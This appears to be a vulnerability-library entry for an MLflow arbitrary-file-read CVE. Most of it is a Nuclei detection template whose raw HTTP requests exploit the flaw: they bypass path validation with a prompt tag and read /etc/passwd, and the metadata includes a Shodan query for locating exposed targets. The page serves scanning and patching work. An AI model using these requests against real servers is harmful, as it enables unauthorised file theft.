/Vulnerability Library

MLflow <= 3.9.0 - Arbitrary File Read

CVE-2026-2614
Early Release

Description

mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.

Severity

High

CVSS Score

7.5

Exploit Probability

1%

Affected Product

mlflow

Published Date

August 7, 2026

Template Author

str4k3r

CVE-2026-2614.yaml
id: CVE-2026-2614

info:
  name: MLflow <= 3.9.0 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
  remediation: |
    Upgrade to version 3.10.0 or later.
  reference:
    - https://github.com/mlflow/mlflow/security/advisories
    - https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a
    - https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2614
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-2614
    epss-score: 0.00712
    epss-percentile: 0.50445
    cwe-id: CWE-22
  metadata:
    max-request: 3
    verified: true
    vendor: mlflow
    product: mlflow
    shodan-query: title:"MLflow"
  tags: cve,cve2026,mlflow,lfi,traversal

variables:
  model: "{{to_lower(rand_base(10))}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}"}

      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}","source":"file:///etc/","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}

      - |
        GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b1ecdadd604f0f10a4b484832863c697c61baa121661d7259a01a4660dbe1fae022100e963b604281f891578192b4ae0b907a3100bb9e899ed3ddd62e885b0d05e34a6:922c64590222798bb761d5b6d8e72950
7.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-2614
CWE ID:
cwe-22

References

https://github.com/mlflow/mlflow/security/advisorieshttps://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115ahttps://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6https://nvd.nist.gov/vuln/detail/CVE-2026-2614

Remediation Steps

Upgrade to version 3.10.0 or later.